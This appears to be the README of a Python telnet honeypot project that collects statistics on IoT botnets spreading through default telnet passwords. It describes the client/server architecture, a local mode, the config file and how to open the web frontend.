This project implements a python telnet server trying to act as a honeypot for IoT Malware which spreads over horribly insecure default passwords on telnet servers on the internet.
Other than https://github.com/stamparm/hontel or https://github.com/micheloosterhof/cowrie (examples), which provides full (via chroot) or simulated behaviour of a linux system this honeypots goal is just to collect statistics of (IoT) botnets. This means that the honeypot must be made to work with every form of automated telnet session, which may try to infect the honeypot with malware. Luckily, these malwares infection processes are quite simple, just using wget do download something and running it.
The application has a client/server architekture, with a client (the actual honeypot) accepting telnet connections and a server aggregating connection data and sample analysis.
However, for local deployments, the application can also be run in local mode to eliminate the need to run a client and server locally.
The application has a config file named config.py. Samples are included for local and client/server deployments.
Opening the frontend
After the server is started, open
html/index.htmlin your favorite browser. For this to work, the url in
html/apiurl.jsshould point to your running backend, which it should do automatically for local deployments.
